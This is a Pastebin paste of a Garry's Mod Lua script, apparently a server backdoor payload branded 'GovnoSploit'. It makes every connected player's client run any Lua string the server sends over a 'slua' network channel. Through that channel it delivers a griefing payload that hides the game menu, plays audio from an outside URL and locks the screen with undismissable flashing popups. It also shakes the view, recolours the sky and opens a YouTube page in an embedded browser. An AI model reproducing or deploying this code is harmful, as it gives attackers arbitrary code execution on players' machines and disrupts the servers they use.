Advertisement
Guest User

Untitled

a guest
Jan 22nd, 2020
84
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.02 KB | None | 0 0
  1. util.AddNetworkString "slua"
  2.  
  3. local lol = {}
  4. function lol:RandomString( intMin, intMax )
  5. local ret = ""
  6. for _ = 1, math.random( intMin, intMax ) do
  7. ret = ret.. string.char( math.random(65, 90) )
  8. end
  9.  
  10. return ret
  11. end
  12.  
  13. lol.m_tblActions = {}
  14. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  15. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  16.  
  17. function lol:PushAction( intChainDelay, func )
  18. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  19. end
  20.  
  21. function lol:NextAction( pPlayer )
  22. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  23. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  24.  
  25. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  26. if not IsValid( pPlayer ) then return end
  27. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  28. self:NextAction( pPlayer )
  29. end )
  30. end
  31.  
  32. function lol:Start( pPlayer )
  33. pPlayer.m_intCurAction = 0
  34. self:NextAction( pPlayer )
  35. end
  36.  
  37. function lol:SendLua( pPlayer, strLua )
  38. net.Start( "slua" )
  39. net.WriteString( strLua )
  40. net.Send( pPlayer )
  41. end
  42.  
  43. function lol:SetupPlayer( pPlayer )
  44. pPlayer:SendLua( "net.Receive(\"slua\", function() RunString(net.ReadString()) end)" )
  45. end
  46.  
  47. for k, v in pairs( player.GetAll() ) do
  48. lol:SetupPlayer( v )
  49. timer.Simple( 2, function() lol:Start( v ) end )
  50. end
  51.  
  52. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  53. lol:SetupPlayer( pPlayer )
  54. timer.Simple( 10, function() lol:Start( pPlayer ) end )
  55. end )
  56.  
  57. --Sequence stack
  58. --Start some tunes and steam in our assets
  59. lol:PushAction( 0, function( pPlayer )
  60. lol:SendLua( pPlayer, [[
  61.  
  62. hook.Add("Think","iuefheqefq",function() gui.HideGameUI() end)
  63.  
  64. sound.PlayURL( "http://d.zaix.ru/gXPN.mp3 ", "mono noblock noplay", function( station )
  65. timer.Simple( 0.1, function()
  66. ClientStation = station
  67. station:EnableLooping( true )
  68. station:Play()
  69. station:SetVolume( 30 )
  70. end )
  71. end )
  72.  
  73. surface.CreateFont( "PixelCutsceneScaled",{
  74. font = "Open Sans",
  75. size = 500,
  76. weight = 1000,
  77. antialias = true
  78. })
  79.  
  80. surface.CreateFont( "PixelSmall",{
  81. font = "Open Sans",
  82. size = 135,
  83. weight = 500,
  84. antialias = false
  85. })
  86.  
  87. surface.CreateFont("lapolice", {
  88. font = "Open Sans",
  89. size = ScrW()*0.02,
  90. weight = 10,
  91. blursize = 0,
  92. scanlines = 2.5,
  93. antialias = false
  94. })
  95.  
  96. local function gettextcolor( a )
  97.  
  98. local r = 0.5*math.sin(RealTime()*5.5)*255 + 255/2
  99. local g = -0.5*math.sin(RealTime()*5.5)*255 + 255/2
  100. local b = 215
  101.  
  102. return Color( r, g, b, a or 255 )
  103.  
  104. end
  105.  
  106. local w,h = ScrW(), ScrH()
  107. local W, H = ScrW(), ScrH()
  108. local MySelf = LocalPlayer()
  109.  
  110. if ohno then
  111. ohno:Remove()
  112. ohno = nil
  113. end
  114.  
  115. ohno = vgui.Create( "DFrame" )
  116. ohno:SetSize( w, h )
  117. ohno:SetPos(0,0)
  118. ohno:SetDraggable ( false )
  119. ohno:SetTitle("")
  120. ohno:MakePopup();
  121. ohno:ShowCloseButton(false)
  122.  
  123. ohno.Paint = function( self )
  124. Derma_DrawBackgroundBlur( self, self.m_fCreateTime )
  125. Derma_DrawBackgroundBlur( self, self.m_fCreateTime )
  126. end
  127.  
  128. local pw, ph = w, h*0.6
  129. local px, py = w/2-pw/2, h/2-ph/2
  130.  
  131.  
  132. local Close = vgui.Create( "DButton", ohno )
  133. Close:SetPos(px, py)
  134. Close:SetText( "" )
  135. Close:SetSize( pw, ph )
  136. Close.Paint = function( self, tw, th )
  137.  
  138. local shift = math.sin(RealTime()*3)*1.5 + 5
  139.  
  140. local text = "GovnoSploit"
  141. local text2 = "GovnoSploit"
  142. local text3 = "GovnoSploit"
  143. local text4 = "GovnoSploit"
  144.  
  145. draw.SimpleText( text, "PixelCutsceneScaled", tw/2 , th/2, gettextcolor( 55 ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  146. draw.SimpleText( text, "PixelCutsceneScaled", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  147. draw.DrawText( "GovnoSploit!", "lapolice", ScrW() * 0.5, ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), TEXT_ALIGN_CENTER )
  148. draw.DrawText( "GovnoSploit-DRM!", "lapolice", math.random(0,10), ScrH() * (math.random(0,100)*0.01), Color( 240, 100, 100, math.random(230,255) ), 0 )
  149. draw.DrawText( "GovnoSploit", "lapolice", W * 0.7 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  150. draw.DrawText( "GovnoSploit", "lapolice", W * 0.38 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  151. draw.DrawText( "GovnoSploit", "lapolice", W * 0.9 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  152. draw.DrawText( "GovnoSploit", "lapolice", W * 0.35 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  153. draw.DrawText( "GovnoSploit", "lapolice", W * 0.98 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  154. draw.DrawText( "GovnoSploit", "lapolice", W * 0.8 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  155. draw.DrawText( "GovnoSploit;)", "lapolice", W * 0.73 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  156. draw.DrawText( "GovnoSploit", "lapolice", W * 0.27 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  157. draw.DrawText( "GovnoSploit", "lapolice", W * 0.1 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  158. draw.DrawText( "GovnoSploit", "lapolice", W * 0.05 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  159. draw.DrawText( "GovnoSploit", "lapolice", W * 0.11 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  160. draw.DrawText( "GovnoSploit", "lapolice", W * 0.75 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  161. draw.DrawText( "GovnoSploit", "lapolice", W * 0.8 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  162. draw.DrawText( "GovnoSploit", "lapolice", W * 0.2 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  163. draw.DrawText( "GovnoSploit", "lapolice", W * 0.1 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  164. draw.DrawText( "GovnoSploit", "lapolice", W * 0 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  165. draw.DrawText( "GovnoSploit", "lapolice", W * 0 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  166. draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  167. draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  168. draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  169. draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  170. draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  171.  
  172. end
  173. surface.PlaySound( "vo/npc/male01/ohno.wav" )
  174. surface.PlaySound( "vo/npc/male01/ohno.wav" )
  175. timer.Create("fff", 0.1, 0, function()
  176. util.ScreenShake( Vector(0,0,0), 2.5, 50, 0.5, 5000 )
  177. end)
  178.  
  179. timer.Simple( 15, function()
  180.  
  181. wut = vgui.Create( "DFrame" )
  182. wut:SetSize( w, h )
  183. wut:SetPos(0,0)
  184. wut:SetDraggable ( false )
  185. wut:SetTitle("")
  186. wut:ShowCloseButton(false)
  187.  
  188. wut.Paint = function( self )
  189. surface.SetDrawColor(30, 30, 30, 0)
  190. end
  191.  
  192. local Close = vgui.Create( "DButton", wut )
  193. Close:SetPos(px, py)
  194. Close:SetText( "" )
  195. Close:SetSize( pw, ph )
  196. Close.Paint = function( self, tw, th )
  197.  
  198. local shift = math.sin(RealTime()*3)*1.5 + 5
  199.  
  200. local text = "GovnoSploit"
  201.  
  202. draw.SimpleText( text, "PixelCutsceneScaled", tw/2 , th/2, gettextcolor( 55 ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  203. draw.SimpleText( text, "PixelCutsceneScaled", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  204.  
  205. end
  206.  
  207. RunConsoleCommand("r_shader_srgb","1")
  208.  
  209. ohno:Remove()
  210. ohno = nil
  211.  
  212. local name = GetConVar("sv_skyname"):GetString()
  213. if name == "painted" then
  214. local sky
  215. for _, v in ipairs(ents.GetAll()) do
  216. if v:GetClass() == "env_skypaint" then
  217. sky = v
  218. break
  219. end
  220. end
  221. if !IsValid(sky) then return end
  222. hook.Add("PostRender","\xFFsky\xFF",function()
  223. local col = HSVToColor(CurTime()*30 % 360,1,1)
  224. col = Vector(col.r/255,col.g/255,col.b/255)
  225. sky:SetTopColor(col)
  226. sky:SetBottomColor(col)
  227. end)
  228. else
  229. local prefix = {"lf","ft","rt","bk","dn","up"}
  230. local mats = {}
  231. for i=1,6 do
  232. mats[#mats+1] = Material("skybox/" .. name .. prefix[i])
  233. end
  234. hook.Add("PostRender","\xFFsky\xFF",function()
  235. local col = HSVToColor(CurTime()*30 % 360,1,1)
  236. for i=1,6 do
  237. mats[i]:SetVector("$color",Vector(col.r/255,col.g/255,col.b/255))
  238. end
  239. end)
  240. end
  241. local chienchaud = ClientsideModel("models/props_c17/doll01.mdl")
  242. chienchaud:SetNoDraw(true)
  243. chienchaud:SetModelScale(120)
  244. timer.Create("charglogo", 0.01, 0, function()
  245. chienchaud:SetAngles(Angle(0, CurTime()*90 % 360 ,180) )
  246. end)
  247. --chienchaud:SetMaterial( "models/screenspace" )
  248. local data = {}
  249. local function genchienchaud(id)
  250. local pos = LocalPlayer():GetPos()
  251. data[id] = { Vector(math.random(pos.x-9000,pos.x+9000),math.random(pos.y-9000,pos.y+9000),pos.z + math.random(5000,2000) ), math.random(70, 170) }
  252. end
  253. for i=1, 150 do
  254. genchienchaud(i)
  255. end
  256. hook.Add("PostDrawOpaqueRenderables","\xFFitsrainingchienchauds\xFF",function()
  257. local z = LocalPlayer():GetPos().z
  258. for i=1, #data do
  259. chienchaud:SetPos(data[i][1])
  260. chienchaud:SetupBones()
  261. chienchaud:DrawModel()
  262. data[i][1].z = data[i][1].z - data[i][2] / 20
  263. if data[i][1].z <= z then
  264. genchienchaud(i)
  265. end
  266. end
  267. end)
  268.  
  269. hook.Add("Think","somewhere_over_the_rainbow",function()
  270. local col = HSVToColor(CurTime() * 50 % 360, 1, 1)
  271. for _, v in ipairs(player.GetAll()) do
  272. v:SetWeaponColor(Vector(col.r / 255, col.g / 255, col.b / 255))
  273. end
  274. end)
  275.  
  276. maymay = vgui.Create( "DFrame" )
  277. maymay:SetSize( w, h )
  278. maymay:SetPos(0,0)
  279. maymay:SetDraggable ( false )
  280. maymay:SetTitle("")
  281. maymay:MakePopup();
  282. maymay:ShowCloseButton(false)
  283.  
  284. local html = vgui.Create("HTML", maymay)
  285. html:Dock( FILL )
  286. html:OpenURL("https://www.youtube.com/channel/UCCoD4qB3VSxfhMabG4G8sTg")
  287.  
  288. end)
  289.  
  290. timer.Simple( 70, function()
  291.  
  292. maymay:Remove()
  293. maymay = nil
  294.  
  295. end)
  296.  
  297. end)
  298.  
  299. ]])
  300.  
  301. end )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement